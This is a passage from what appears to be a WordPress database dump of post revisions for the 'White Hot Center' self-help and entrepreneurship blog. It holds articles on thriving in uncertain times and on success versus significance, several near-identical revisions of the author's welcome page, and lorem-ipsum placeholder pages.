and then several times more!.  Now I use the information as a handbook to keep me focused on daily activities that express my Unique Ability. There are also other tools available from the Strategic Coach that I recommend highly. You can check those out in the Resource section of the site. And make sure you subscribe to the Strategic Coach newsletter too.', 'Unique Ability', 0, 'Most of us are raised to believe that we must fit in and adapt ourselves to the outside world to be useful and successful. But the truth is your greatest strength – and your biggest contribution – lies in who...\r\n', 'inherit', 'open', 'open', '', '27-revision-5', '', '', '2009-07-09 17:02:03', '2009-07-10 00:02:03', '', 27, 'http://www.whitehotcenter.com/27-revision-5/', 0, 'revision', '', 0),
(506, 2, '2009-07-08 15:30:42', '2009-07-08 22:30:42', '<img class="size-full wp-image-124 alignleft" title="71555675" src="http://whc.fbdev.org/wp-content/uploads/2008/10/rowinstorm.jpg" alt="71555675" width="273" height="187" />\r\n<h2><span style="color: #ff6600;">No doubt about it, people are concerned about the uncertain economic times we find ourselves in. More specifically, their own job security, continued business success, and the value of their investment and retirement portfolios.  Everything and everyone seems to be at risk. Indeed, these are uncertain times, and for many people, there is a great deal of anxiety over this economic turmoil. Many people feel powerless and are at a loss to cope. There are however ways in which you can thrive in the midst of all this uncertainty. Here are several simple ideas I would like to suggest you consider that may help you weather the current stormy seas our world finds itself in right now.</span></h2>\r\n<strong>Take a media fast.</strong>\r\n\r\nDon’t listen to the radio, watch the television news or read the newspapers. This may sound a little over-simplified, but the truth is the media amplifies the inherent fear people have in this situation. Most of what goes on in the media is hype and overstatement. The media business is based on creating an overstated, sensationalized point of view. I am not suggesting that the media does not accurately report the facts.  I am simply suggesting that the media amplifies the insecurity of the situation, and in many ways, is a distorted and biased lens that does not support a more balanced and neutral assessment of our current circumstances.  It is far better for you to trust your own inner wisdom about your financial circumstances and not let any outside influences breed more uncertainty in your life. Do yourself a favor and go on a media fast.\r\n\r\n<strong>Think about others, not yourself.</strong>\r\n\r\nUncertainty and fear drives people into an isolated point of view.  A more useful approach is to focus on the areas of your life where you can be of value to others. Find ways to help instill confidence and light into people’s lives. This shifts your energy into a more useful vibration and puts you in a place of wisdom and service. Others will sense your confidence, steadfastness and contribution and this will take the focus off your own worry. In turn, you become a source of inspiration to others and the value you bring to them increases.\r\n<strong>\r\nFocus on current opportunities and forget the future.</strong>\r\n\r\nThere is no future out there. Everything that is happening is happening now. There is always room, in any situation, for a better idea. Think about how, in your current circumstances, you can create new opportunities to do things differently. You might find any number of things to improve in your present situation that will set you up nicely for when things turn around–which they inevitably will do. You may take this time to learn new skills, develop greater financial disciplines, align your life priorities in a direction that serves you. This puts you in a position of strength and removes the illusion of weakness and powerlessness. There is always opportunity in every circumstance. Your power to create a result resides here and now. Forget the future.\r\n\r\n<strong>Focus on creating more rewarding relationships.</strong>\r\n\r\nIn uncertain times, it is natural to worry about the commodity of our jobs, products, and businesses. We may put a great deal of worry into how vulnerable and replaceable we may be. In uncertain times, it is more useful to strengthen your relationships with people– your employer, your customer, your family, your community.  By putting energy into the practice of strengthening all your relationships, you will add greater value to the people around you. In turn, the value of what you have to offer the world is increased.\r\n\r\n<strong>Focus on what is available to you now, not what’s missing.</strong>\r\n\r\nUncertainty has a way of putting your focus on lack and limitation.  When things adversely change around us, we tend to fixate on what is no longer available to us. A more useful strategy is to put your focus on what resources are available now. What skills, talents and inspired ideas can you use right now. Resourcefulness is a great discipline in times of uncertainty, and the results prove more powerful when things turn positive again.  You have, whether you know it or not, all the resources within you to prosper no matter the outer circumstances. This idea is very empowering and puts you in a higher state of mind to be inspired to think of better, bigger ideas about creating value. Work with every resource at your disposal and your confidence and faith will grow.\r\n\r\n<strong>You can’t control anything, don’t waste your precious energy trying</strong>.\r\n\r\nRegardless of what is happening in the world, you can’t control people, places or things. You can, however, control your responses to the events in your own life. Everything is a choice. Choosing to respond in a manner that serves you is a useful skill. There’s nothing like adversity to sharpen this life skill. In any circumstance, everyone has to make a basic decision: complain and bitch, or engage life with more creativity and ingenuity. It is always your choice. Life will always be full of surprises, twists, turns– it’s always going to be something. Change just is. In the light of your own inspired thought, you will soon recognize the freedom of just letting things outside yourself be and trust that, underneath it, all is well.\r\n\r\n<strong>Always be in gratitude</strong>.\r\n\r\nThis is the most important strategy you can employ in tough, uncertain times. No matter how bad it is, there is ALWAYS something in your life for which you can be grateful… start with the fact that you are still alive and able to play the game of life! A feeling of lack and limitation cannot exist within a mind that is focused on being grateful. Gratitude is an amazing tool for your best thinking to emerge and your results to transform your life.', 'Ideas for thriving in uncertain times.', 0, 'No doubt about it, people are concerned about the uncertain economic times we find ourselves in. More specifically, their own job security, continued business success, and the value of their investment and retirement portfolios. Everything and everyone seems to be...\r\n', 'inherit', 'open', 'open', '', '20-revision-6', '', '', '2009-07-08 15:30:42', '2009-07-08 22:30:42', '', 20, 'http://www.whitehotcenter.com/20-revision-6/', 0, 'revision', '', 0),
(507, 1, '2009-07-08 17:18:51', '2009-07-09 00:18:51', '<a href="http://whc.fbdev.org/wp-content/uploads/2009/03/significancepost1.gif"><img class="alignnone size-full wp-image-463" title="significancepost" src="http://whc.fbdev.org/wp-content/uploads/2009/03/significancepost1.gif" alt="significancepost" width="450" height="283" /></a>\r\n<h2><span style="color: #ff6600;"><span style="font-size: 20px; font-family: Arial;">I have been doing some thinking lately about the difference between pursuing a successful life, or a life of significance. On the surface you might think these are one and the same. Can you experience one and not the other? Are these two attributes mutually exclusive, or do they indeed go hand in hand? </span></span></h2>\r\nMuch of what we may define as success is subjective, and largely based on the core beliefs about life and our reaction to it that are contained in our head–notably our sub-conscious minds. Everyone desires to create a successful life. I don’t think anyone with a healthy mind spends much time consciously saying, “My goal is to be a complete failure in life”.  At least I have not yet met anyone with that point of view.  I think you would basically agree with the general statement: we all want to create success in our life. This begs the bigger question –what is success and will it really bring you happiness?<!--more-->\r\n\r\n<strong>The Successful Life</strong>\r\n\r\nIn our western culture, most people believe that you are successful when you <em>achieve something. </em>The common self-help industry definition suggests you are successful when you are pursuing the <em>achievement of goals</em> that result in financial success, personal power and authority, mastery of knowledge, material possessions and outward status in your community. While there is nothing bad or wrong with these pursuits, in of themselves, these ideals will rarely lead anyone to experience sustained happiness. I know many successful, accomplished people who are just plain miserable, and I’ll bet you do too. You may achieve the symbols of outer success, but they will not provide you with happiness. Like John Lennon says “money can’t buy me love”.\r\n\r\n<strong>The Significant Life</strong>\r\n\r\nOn the other hand, living a life of significance has its basis in an entirely different set of principles. The formula here is dramatically different than the pursuit of success. When you are pursuing significance, you engage your life in the accomplishment of ideas that deeply matter to you and contribute to the well-being and advancement of others. Your focus is on attributes like, generosity, kindness, love, relationships, value creation and connectedness. A person who is engaged in the pursuit of a Significant Life is always thinking “win/win”, not “I win”. They live their days on the creative plane not the competitive one. The equation here is simple:\r\n\r\n<strong>Meaning + Contribution = Significant Happiness</strong>\r\n\r\nTo experience significant happiness you must discover what really matters to you in life, and have what matters to you contribute to the advancement of others. Only then can you expect to experience a more sustained satidfaction, joy, freedom and abundance. When you get this formula working in your life, the world will shower you with appreciation. Which usually takes its form in the abundance of health, well-being, loving relationships, and last but not least–lots of money! These things are the applause the world bestows upon you for lighting the way for others.\r\n\r\n<strong>My suggestion is put your focus and attention on the pursuit of significance rather than success. You’ll be so happy that you did.</strong>', 'Meaning + Contribution = Significance', 0, 'I have been doing some thinking lately about the difference between pursuing a successful life, or a life of significance. On the surface you might think these are one and the same. Can you experience one and not the other?...\r\n', 'inherit', 'open', 'open', '', '8-revision-17', '', '', '2009-07-08 17:18:51', '2009-07-09 00:18:51', '', 8, 'http://www.whitehotcenter.com/8-revision-17/', 0, 'revision', '', 0);
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(508, 2, '2009-07-09 15:54:42', '2009-07-09 22:54:42', 'Lorem ipsum dolor sit amet, consectetur adipiscing elit. Nam et nulla non orci ullamcorper rhoncus et nec enim. Nulla ipsum orci, luctus et sodales ac, rutrum in justo. Aliquam quis nisl porta diam iaculis pellentesque nec vitae elit. Nulla vel quam in nibh venenatis convallis. Vestibulum tortor magna, commodo a scelerisque vel, vulputate non purus. Nulla facilisi. Proin ut mauris sit amet dolor pretium pellentesque.\r\n\r\nOr return to the <a href="http://whc.fbdev.org/big-burning-questions/">list of Big Burning Questions</a>.', 'The Second Big Burning Question', 0, '', 'inherit', 'open', 'open', '', '187-revision-4', '', '', '2009-07-09 15:54:42', '2009-07-09 22:54:42', '', 187, 'http://www.whitehotcenter.com/187-revision-4/', 0, 'revision', '', 0),
(511, 2, '2009-07-21 16:54:32', '2009-07-21 23:54:32', '<a href="http://whc.fbdev.org/wp-content/uploads/2009/06/how-much-is-enough-.gif"><img class="alignnone size-full wp-image-509" title="how-much-is-enough-" src="http://whc.fbdev.org/wp-content/uploads/2009/06/how-much-is-enough-.gif" alt="how-much-is-enough-" width="450" height="85" /></a>Or return to the <a href="http://whc.fbdev.org/big-burning-questions/">list of Big Burning Questions</a>.', 'The Second Big Burning Question', 0, '', 'inherit', 'open', 'open', '', '187-revision-6', '', '', '2009-07-21 16:54:32', '2009-07-21 23:54:32', '', 187, 'http://www.whitehotcenter.com/187-revision-6/', 0, 'revision', '', 0),
(512, 2, '2009-07-21 16:57:36', '2009-07-21 23:57:36', '<a href="http://whc.fbdev.org/wp-content/uploads/2009/06/how-much-is-enough-.gif"><img class="alignnone size-full wp-image-509" title="how-much-is-enough-" src="http://whc.fbdev.org/wp-content/uploads/2009/06/how-much-is-enough-.gif" alt="how-much-is-enough-" width="450" height="85" /></a>Share your answer in the comments box beleow.\n\nOr return to the <a href="http://whc.fbdev.org/big-burning-questions/">list of Big Burning Questions</a>.', ' Big Burning Question No.2', 0, '', 'inherit', 'open', 'open', '', '187-autosave', '', '', '2009-07-21 16:57:36', '2009-07-21 23:57:36', '', 187, 'http://www.whitehotcenter.com/187-autosave/', 0, 'revision', '', 0),
(513, 2, '2009-07-21 16:55:25', '2009-07-21 23:55:25', '<a href="http://whc.fbdev.org/wp-content/uploads/2009/06/how-much-is-enough-.gif"><img class="alignnone size-full wp-image-509" title="how-much-is-enough-" src="http://whc.fbdev.org/wp-content/uploads/2009/06/how-much-is-enough-.gif" alt="how-much-is-enough-" width="450" height="85" /></a>Or return to the <a href="http://whc.fbdev.org/big-burning-questions/">list of Big Burning Questions</a>.', ' Big Burning Question No.2', 0, '', 'inherit', 'open', 'open', '', '187-revision-7', '', '', '2009-07-21 16:55:25', '2009-07-21 23:55:25', '', 187, 'http://www.whitehotcenter.com/187-revision-7/', 0, 'revision', '', 0),
(514, 2, '2009-07-21 17:05:59', '2009-07-22 00:05:59', '<a href="http://whc.fbdev.org/wp-content/uploads/2009/06/greatwork-.gif"><img class="alignnone size-full wp-image-515" title="greatwork-" src="http://whc.fbdev.org/wp-content/uploads/2009/06/greatwork-.gif" alt="greatwork-" width="450" height="85" /></a>Share your answer in the comment block below.\n\nOr return to the <a href="http://whc.fbdev.org/big-burning-questions/">list of Big Burning Questions</a>.', 'The Third Big Burning Question', 0, '', 'inherit', 'open', 'open', '', '189-autosave', '', '', '2009-07-21 17:05:59', '2009-07-22 00:05:59', '', 189, 'http://www.whitehotcenter.com/189-autosave/', 0, 'revision', '', 0),
(515, 2, '2009-07-21 17:04:45', '2009-07-22 00:04:45', '', 'greatwork-', 0, '', 'inherit', 'open', 'open', '', 'greatwork', '', '', '2009-07-21 17:04:45', '2009-07-22 00:04:45', '', 189, 'http://www.whitehotcenter.com/wp-content/uploads/2009/06/greatwork-.gif', 0, 'attachment', 'image/gif', 0),
(516, 2, '2009-07-09 15:56:00', '2009-07-09 22:56:00', 'Lorem ipsum dolor sit amet, consectetur adipiscing elit. Nam et nulla non orci ullamcorper rhoncus et nec enim. Nulla ipsum orci, luctus et sodales ac, rutrum in justo. Aliquam quis nisl porta diam iaculis pellentesque nec vitae elit. Nulla vel quam in nibh venenatis convallis. Vestibulum tortor magna, commodo a scelerisque vel, vulputate non purus. Nulla facilisi. Proin ut mauris sit amet dolor pretium pellentesque. Nunc lorem diam, posuere vel congue nec, hendrerit ut lectus. Cras in libero orci, quis eleifend magna.\r\n\r\nOr return to the <a href="http://whc.fbdev.org/big-burning-questions/">list of Big Burning Questions</a>.', 'The Third Big Burning Question', 0, '', 'inherit', 'open', 'open', '', '189-revision-4', '', '', '2009-07-09 15:56:00', '2009-07-09 22:56:00', '', 189, 'http://www.whitehotcenter.com/189-revision-4/', 0, 'revision', '', 0),
(517, 2, '2009-07-21 17:04:54', '2009-07-22 00:04:54', '<a href="http://whc.fbdev.org/wp-content/uploads/2009/06/greatwork-.gif"><img class="alignnone size-full wp-image-515" title="greatwork-" src="http://whc.fbdev.org/wp-content/uploads/2009/06/greatwork-.gif" alt="greatwork-" width="450" height="85" /></a>Share your answer in the comment block below.\r\n\r\nOr return to the <a href="http://whc.fbdev.org/big-burning-questions/">list of Big Burning Questions</a>.', 'The Third Big Burning Question', 0, '', 'inherit', 'open', 'open', '', '189-revision-5', '', '', '2009-07-21 17:04:54', '2009-07-22 00:04:54', '', 189, 'http://www.whitehotcenter.com/189-revision-5/', 0, 'revision', '', 0),
(518, 2, '2009-07-21 17:28:10', '2009-07-22 00:28:10', '', 'greatful-', 0, '', 'inherit', 'open', 'open', '', 'greatful', '', '', '2009-07-21 17:28:10', '2009-07-22 00:28:10', '', 191, 'http://www.whitehotcenter.com/wp-content/uploads/2009/06/greatful-.gif', 0, 'attachment', 'image/gif', 0),
(519, 2, '2009-07-09 15:54:19', '2009-07-09 22:54:19', 'Lorem ipsum dolor sit amet, consectetur adipiscing elit. Nam et nulla non orci ullamcorper rhoncus et nec enim. Nulla ipsum orci, luctus et sodales ac, rutrum in justo. Aliquam quis nisl porta diam iaculis pellentesque nec vitae elit. Nulla vel quam in nibh venenatis convallis. Vestibulum tortor magna, commodo a scelerisque vel, vulputate non purus. Nulla facilisi. Proin ut mauris sit amet dolor pretium pellentesque. Nunc lorem diam, posuere vel congue nec, hendrerit ut lectus. Cras in libero orci, quis eleifend magna. Vivamus lectus arcu, dictum a adipiscing sit amet, pulvinar eget risus. Sed eget ante nibh, vitae congue lectus.\r\n\r\nOr return to the <a href="http://whc.fbdev.org/big-burning-questions/">list of Big Burning Questions</a>.', 'The Fourth Big Burning Question', 0, '', 'inherit', 'open', 'open', '', '191-revision-4', '', '', '2009-07-09 15:54:19', '2009-07-09 22:54:19', '', 191, 'http://www.whitehotcenter.com/191-revision-4/', 0, 'revision', '', 0),
(521, 2, '2009-07-21 17:30:15', '2009-07-22 00:30:15', '<a href="http://whc.fbdev.org/wp-content/uploads/2009/06/greatful-.gif"><img class="alignnone size-full wp-image-518" title="greatful-" src="http://whc.fbdev.org/wp-content/uploads/2009/06/greatful-.gif" alt="greatful-" width="450" height="85" /></a>Share your answer in the comment box below.\n\nOr return to the <a href="http://whc.fbdev.org/big-burning-questions/">list of Big Burning Questions</a>.', 'Big Burning Question No.4', 0, '', 'inherit', 'open', 'open', '', '191-autosave', '', '', '2009-07-21 17:30:15', '2009-07-22 00:30:15', '', 191, 'http://www.whitehotcenter.com/191-autosave/', 0, 'revision', '', 0),
(522, 2, '2009-07-21 17:40:38', '2009-07-22 00:40:38', '', 'podmouth', 0, '', 'inherit', 'open', 'open', '', 'podmouth', '', '', '2009-07-21 17:40:38', '2009-07-22 00:40:38', '', 133, 'http://www.whitehotcenter.com/wp-content/uploads/2009/04/podmouth.gif', 0, 'attachment', 'image/gif', 0),
(523, 1, '2009-07-06 22:54:30', '2009-07-07 05:54:30', 'Listing of podcasts', 'Pods', 0, '', 'inherit', 'open', 'open', '', '133-revision-v1', '', '', '2009-07-06 22:54:30', '2009-07-07 05:54:30', '', 133, 'http://www.whitehotcenter.com/133-revision-11/', 0, 'revision', '', 0),
(524, 2, '2009-07-21 17:40:53', '2009-07-22 00:40:53', '<h2><span style="color: #ff6600;"><a href="http://whc.fbdev.org/wp-content/uploads/2009/04/podmouth.gif"><img class="alignnone size-full wp-image-522" title="podmouth" src="http://whc.fbdev.org/wp-content/uploads/2009/04/podmouth.gif" alt="podmouth" width="450" height="339" /></a>This part of the site is currently under development. When this section is ready–\r\nthere''ll be plenty of exciting ideas to share with you. You''ll have complete access</span> to all the WhiteHotCenter podcasts and videocasts that we''ll post here. We''re gathering ideas and producing some useful information to share with you here. Stay tuned!</h2>', 'Listen & Learn', 0, '', 'inherit', 'open', 'open', '', '133-revision-v1', '', '', '2009-07-21 17:40:53', '2009-07-22 00:40:53', '', 133, 'http://www.whitehotcenter.com/133-revision-12/', 0, 'revision', '', 0),
(525, 2, '2009-07-21 22:44:05', '2009-07-22 05:44:05', '', 'thomson-pic', 0, '', 'inherit', 'open', 'open', '', 'thomson-pic', '', '', '2009-07-21 22:44:05', '2009-07-22 05:44:05', '', 172, 'http://www.whitehotcenter.com/wp-content/uploads/2009/05/thomson-pic.gif', 0, 'attachment', 'image/gif', 0),
(526, 1, '2009-07-06 22:54:56', '2009-07-07 05:54:56', '<a href="http://whc.fbdev.org/wp-content/uploads/2009/05/thomson-bkg.gif"><img class="alignnone size-full wp-image-344" title="thomson-bkg" src="http://whc.fbdev.org/wp-content/uploads/2009/05/thomson-bkg.gif" alt="thomson-bkg" width="450" height="441" /></a>\r\n<h2><span style="color: #ff6600;">I’m very pleased that you have found your way to the White Hot Center. My purpose here is to inspire you into a frame of mind that will support you in achieving whatever level of personal and entrepreneurial success you desire.</span></h2>\r\n<h2><span style="color: #696969;"> </span></h2>\r\n<span style="color: #696969;">Of course each definition of success is as different and unique as our own DNA. Success in business and in life is a process, not an event. Whatever metrics you use to determine your success, the best definition of success I''ve heard so far comes from Bob Dylan: </span>\r\n<h2><span style="color: #ff6600;">"A person is a success if he gets up in the morning and goes to bed at night and in between does what he wants to do".<strong> </strong></span></h2>\r\n<span style="color: #696969;"> </span>\r\n<h2><span style="color: #696969;">I love the simplicity of that!  For many people, myself included, success means freedom to pursue whatever is our heart''s desire burning bright and hot within us. </span></h2>\r\n<span style="color: #696969;">When I began to have greater awareness and connection to what really mattered to me in business and life success, I discovered some common ground with other creative business people who were searching, like me, for tools to help guide their journey. With that in mind, here are some success benchmarks many corporate executives, creative entrepreneurs and professionals I work with agree are worthwhile pursuing with unbridled passion:</span>\r\n<h2><span style="color: #ff6600;"><strong>freedom to do the "work" that matters most to you</strong><strong> and serves others.</strong></span></h2>\r\n<h2><span style="color: #ff6600;"><strong>creating a sustainable business comprised of customers who value your contribution to them, and are delighted to show their appreciation by paying the higher fees your talent and expertise commands and deserves.</strong></span></h2>\r\n<h2><span style="color: #ff6600;"><strong>mastery over the daily complexities your business success creates.</strong></span></h2>\r\n<h2><span style="color: #ff6600;"><strong>mastery of effective marketing and business development strategies to grow your business doing what you love with clients who love you.\r\n</strong></span></h2>\r\n<h2><span style="color: #ff6600;"><strong>enjoying more free time and money to imagine ways to expand your contribution to the world, not to mention to your family and friends, and to pursue your life''s other creative passions.</strong></span></h2>\r\n<h2><span style="color: #ff6600;"><strong>creating a life of significance through your unique contributions to the world.</strong></span></h2>\r\nThe list goes on and on… because, in truth, there’s no end to what is possible for you. You set your own limits in business and in life. Just about everybody I have worked with has a desire to experience some level of mastery in these areas of business and in their life''s pursuits.\r\n\r\n<strong>About Me</strong>\r\n\r\nJust like you, I am a creative entrepreneur. I want to play big and make a difference. I also believe that our great work and highest value to the world is best expressed through the venue of our businesses. The desire to grow and expand is our truest nature. This site is one expression of that idea. So, like two friends walking the same road, it is my intention to begin a conversation with you about the principles of the inner game that drives our outer success. Check out the White Hot Center Manifesto above. It outlines the 21 principles of inner success that forms the foundation of the White Hot Center philosophy. As curator, I''ll share thoughts, ideas, methods and expertise to inspire you to keep your momentum and confidence growing to create your life experience exactly as you desire it to be. Believe me, it’s far more rewarding than looking down at your dusty shoes, or worse, looking over your shoulder– I guarantee you that much!\r\n\r\nI’ve been a creative entrepreneur all my adult life. For over 25 years, I have helped guide businesses large and small, to discover and define their unique voice, brand identity and value proposition to their customers. I am a designer, writer, creative director, and brand marketing consultant to global enterprises and small start-ups alike. You can learn about my continuing work in the brand consulting business here: <a href="http://www.pullinc.com" target="_blank"><strong>www.pullinc.com</strong></a>\r\n<h2><strong><span style="color: #ff6600;">It is my intention the White Hot Center serve as a resource for inspiration and innovation to help you tap into the power of the creative source– your own white hot center!</span></strong></h2>\r\nI am totally committed to helping you master timeless principles for creative business and life success and sharing inspirational ideas and insight with you here on the WHC blog. I want to keep you inspired to create the business and life success you really want, doing whatever brings you joy and fulfillment.  I’ll be sharing with you my best thinking and expertise, along with the expertise and point of view of other successful people you will enjoy learning from as well. Of course, your comments will only elevate the conversation for all of us. I look forward to you sharing your thoughts with all of us in the comments section.\r\n\r\nAfter you have explored the site, I''m hoping you''ll want to subscribe and receive our updates directly to your email in-box. Your free subscription to the White Hot Center blog is a reward of trust. I hope to continue to earn your trust and respect by bringing you inspirational ideas that are useful to your business success and add value to your life''s journey.\r\n\r\n<strong>For creative entrepreneurs, professionals and organizations, I offer on-going consulting packages and information products that provide a deeper level of guidance on strategies to help you grow your business and increase your influence and contribution to the world. You can learn more about my services in the Consulting Section of the site.</strong>\r\n\r\nI wish you continued success in your creative business and in every area of your life. Thank you for visiting..\r\n\r\nAll the best,\r\nThomson\r\nthomson@whitehotcenter.com', 'Welcome to the White Hot Center', 0, '', 'inherit', 'open', 'open', '', '172-revision-v1', '', '', '2009-07-06 22:54:56', '2009-07-07 05:54:56', '', 172, 'http://www.whitehotcenter.com/172-revision-45/', 0, 'revision', '', 0),
(527, 2, '2009-07-21 22:44:20', '2009-07-22 05:44:20', '<a href="http://whc.fbdev.org/wp-content/uploads/2009/05/thomson-pic.gif"><img class="alignnone size-full wp-image-525" title="thomson-pic" src="http://whc.fbdev.org/wp-content/uploads/2009/05/thomson-pic.gif" alt="thomson-pic" width="450" height="285" /></a>\r\n<h2><span style="color: #ff6600;">I’m very pleased that you have found your way to the White Hot Center. My purpose here is to inspire you into a frame of mind that will support you in achieving whatever level of personal and entrepreneurial success you desire.</span></h2>\r\n<h2><span style="color: #696969;"> </span></h2>\r\n<span style="color: #696969;">Of course each definition of success is as different and unique as our own DNA. Success in business and in life is a process, not an event. Whatever metrics you use to determine your success, the best definition of success I''ve heard so far comes from Bob Dylan: </span>\r\n<h2><span style="color: #ff6600;">"A person is a success if he gets up in the morning and goes to bed at night and in between does what he wants to do".<strong> </strong></span></h2>\r\n<span style="color: #696969;"> </span>\r\n<h2><span style="color: #696969;">I love the simplicity of that!  For many people, myself included, success means freedom to pursue whatever is our heart''s desire burning bright and hot within us. </span></h2>\r\n<span style="color: #696969;">When I began to have greater awareness and connection to what really mattered to me in business and life success, I discovered some common ground with other creative business people who were searching, like me, for tools to help guide their journey. With that in mind, here are some success benchmarks many corporate executives, creative entrepreneurs and professionals I work with agree are worthwhile pursuing with unbridled passion:</span>\r\n<h2><span style="color: #ff6600;"><strong>freedom to do the "work" that matters most to you</strong><strong> and serves others.</strong></span></h2>\r\n<h2><span style="color: #ff6600;"><strong>creating a sustainable business comprised of customers who value your contribution to them, and are delighted to show their appreciation by paying the higher fees your talent and expertise commands and deserves.</strong></span></h2>\r\n<h2><span style="color: #ff6600;"><strong>mastery over the daily complexities your business success creates.</strong></span></h2>\r\n<h2><span style="color: #ff6600;"><strong>mastery of effective marketing and business development strategies to grow your business doing what you love with clients who love you.\r\n</strong></span></h2>\r\n<h2><span style="color: #ff6600;"><strong>enjoying more free time and money to imagine ways to expand your contribution to the world, not to mention to your family and friends, and to pursue your life''s other creative passions.</strong></span></h2>\r\n<h2><span style="color: #ff6600;"><strong>creating a life of significance through your unique contributions to the world.</strong></span></h2>\r\nThe list goes on and on… because, in truth, there’s no end to what is possible for you. You set your own limits in business and in life. Just about everybody I have worked with has a desire to experience some level of mastery in these areas of business and in their life''s pursuits.\r\n\r\n<strong>About Me</strong>\r\n\r\nJust like you, I am a creative entrepreneur. I want to play big and make a difference. I also believe that our great work and highest value to the world is best expressed through the venue of our businesses. The desire to grow and expand is our truest nature. This site is one expression of that idea. So, like two friends walking the same road, it is my intention to begin a conversation with you about the principles of the inner game that drives our outer success. Check out the White Hot Center Manifesto above. It outlines the 21 principles of inner success that forms the foundation of the White Hot Center philosophy. As curator, I''ll share thoughts, ideas, methods and expertise to inspire you to keep your momentum and confidence growing to create your life experience exactly as you desire it to be. Believe me, it’s far more rewarding than looking down at your dusty shoes, or worse, looking over your shoulder– I guarantee you that much!\r\n\r\nI’ve been a creative entrepreneur all my adult life. For over 25 years, I have helped guide businesses large and small, to discover and define their unique voice, brand identity and value proposition to their customers. I am a designer, writer, creative director, and brand marketing consultant to global enterprises and small start-ups alike. You can learn about my continuing work in the brand consulting business here: <a href="http://www.pullinc.com" target="_blank"><strong>www.pullinc.com</strong></a>\r\n<h2><strong><span style="color: #ff6600;">It is my intention the White Hot Center serve as a resource for inspiration and innovation to help you tap into the power of the creative source– your own white hot center!</span></strong></h2>\r\nI am totally committed to helping you master timeless principles for creative business and life success and sharing inspirational ideas and insight with you here on the WHC blog. I want to keep you inspired to create the business and life success you really want, doing whatever brings you joy and fulfillment.  I’ll be sharing with you my best thinking and expertise, along with the expertise and point of view of other successful people you will enjoy learning from as well. Of course, your comments will only elevate the conversation for all of us. I look forward to you sharing your thoughts with all of us in the comments section.\r\n\r\nAfter you have explored the site, I''m hoping you''ll want to subscribe and receive our updates directly to your email in-box. Your free subscription to the White Hot Center blog is a reward of trust. I hope to continue to earn your trust and respect by bringing you inspirational ideas that are useful to your business success and add value to your life''s journey.\r\n\r\n<strong>For creative entrepreneurs, professionals and organizations, I offer on-going consulting packages and information products that provide a deeper level of guidance on strategies to help you grow your business and increase your influence and contribution to the world. You can learn more about my services in the Consulting Section of the site.</strong>\r\n\r\nI wish you continued success in your creative business and in every area of your life. Thank you for visiting..\r\n\r\nAll the best,\r\nThomson\r\nthomson@whitehotcenter.com', 'Welcome to the White Hot Center', 0, '', 'inherit', 'open', 'open', '', '172-revision-v1', '', '', '2009-07-21 22:44:20', '2009-07-22 05:44:20', '', 172, 'http://www.whitehotcenter.com/172-revision-46/', 0, 'revision', '', 0),
(530, 2, '2009-07-22 16:54:55', '2009-07-22 23:54:55', '<a href="http://whc.fbdev.org/wp-content/uploads/2009/05/thomson-pic.gif"><img class="alignnone size-full wp-image-525" title="thomson-pic" src="http://whc.fbdev.org/wp-content/uploads/2009/05/thomson-pic.gif" alt="thomson-pic" width="450" height="285" /></a>\r\n<h2><span style="color: #ff6600;">I’m very pleased that you have found your way to the White Hot Center. My purpose here is to inspire you into a frame of mind that will support you in achieving whatever level of personal and entrepreneurial success you desire.</span></h2>\r\n<h2><span style="color: #696969;"> </span></h2>\r\n<span style="color: #696969;">Of course each definition of success is as different and unique as our own DNA. Success in business and in life is a process, not an event. Whatever metrics you use to determine your success, the best definition of success I''ve heard so far comes from Bob Dylan: </span>\r\n<h2><span style="color: #ff6600;">"A person is a success if he gets up in the morning and goes to bed at night and in between does what he wants to do".<strong> </strong></span></h2>\r\n<span style="color: #696969;"> </span>\r\n<h2><span style="color: #696969;">I love the simplicity of that!  For many people, myself included, success means freedom to pursue whatever is your heart''s desire burning bright and hot within you. </span></h2>\r\n<span style="color: #696969;">When I began to have greater awareness and connection to what really mattered to me in business and life success, I discovered some common ground with other creative business people who were searching, like me, for tools to help guide their journey. With that in mind, here are some success benchmarks many people work with agree are worthwhile pursuing with unbridled passion:</span>\r\n<h2><span style="color: #ff6600;"><strong>freedom to do the "work" that matters most to you</strong><strong> and serves others.</strong></span></h2>\r\n<h2><span style="color: #ff6600;"><strong>creating a profitable business comprised of customers who value your contribution to them, and are delighted to show their appreciation by paying the higher fees your talent and expertise commands and deserves.</strong></span></h2>\r\n<h2><span style="color: #ff6600;"><strong>mastery over the daily complexities your business success creates.</strong></span></h2>\r\n<h2><span style="color: #ff6600;"><strong>mastery of effective marketing and business development strategies to grow your business doing what you love with clients who love you.\r\n</strong></span></h2>\r\n<h2><span style="color: #ff6600;"><strong>enjoying more free time and money to imagine ways to expand your contribution to the world, not to mention to your family and friends, and to pursue your life''s other creative passions.</strong></span></h2>\r\n<h2><span style="color: #ff6600;"><strong>creating a life of significance through your unique contributions to the world.</strong></span></h2>\r\nThe list goes on and on… because, in truth, there’s no end to what is possible for you. You set your own limits in business and in life.\r\n\r\n<strong>About Me</strong>\r\n\r\nJust like you, I am a creative entrepreneur. I want to play big and make a difference. I also believe that really great work and the highest value to the world is best expressed through the venue of business. Commerce is a constant human activity. The desire to grow and expand is an entrepreneur''s truest nature. This site is one expression of that idea. So, like two friends walking the same road, it is my intention to begin a conversation with you about the principles of the inner game that drives our outer success. Check out the White Hot Center Manifesto above. It outlines the 21 principles of inner success that forms the foundation of the White Hot Center philosophy. As curator, I''ll share thoughts, ideas, methods and expertise to inspire you to keep your momentum and confidence growing to create your life experience exactly as you desire it to be. Believe me, it’s far more rewarding than looking down at your dusty shoes, or worse, looking over your shoulder– I guarantee you that much!\r\n\r\nFor over 25 years, I have helped guide businesses large and small, to discover and define their unique voice, brand identity and value proposition to their customers. I am a designer, writer, creative director, and brand marketing consultant to global enterprises and small start-ups alike. You can learn about my expertise in the brand consulting business here: <a href="http://www.pullinc.com" target="_blank"><strong>www.pullinc.com</strong></a>\r\n<h2><strong><span style="color: #ff6600;">It is my intention the White Hot Center serve as a resource for inspiration and innovation to help you tap into the power of the creative source– your own white hot center!</span></strong></h2>\r\nI am totally committed to helping you master timeless principles for creative business and life success and sharing inspirational ideas and insight with you here on the WHC blog. I want to keep you inspired to create the business and life success you really want, doing whatever brings you joy and fulfillment.  I’ll be sharing with you my best thinking and expertise, along with the expertise and point of view of other successful people you will enjoy learning from as well. Of course, your comments will only elevate the conversation for all of us. I look forward to you sharing your thoughts with all of us in the comments section.\r\n\r\nAfter you have explored the site, I''m hoping you''ll want to subscribe and receive our updates directly to your email in-box. Your free subscription to the White Hot Center blog is a reward of 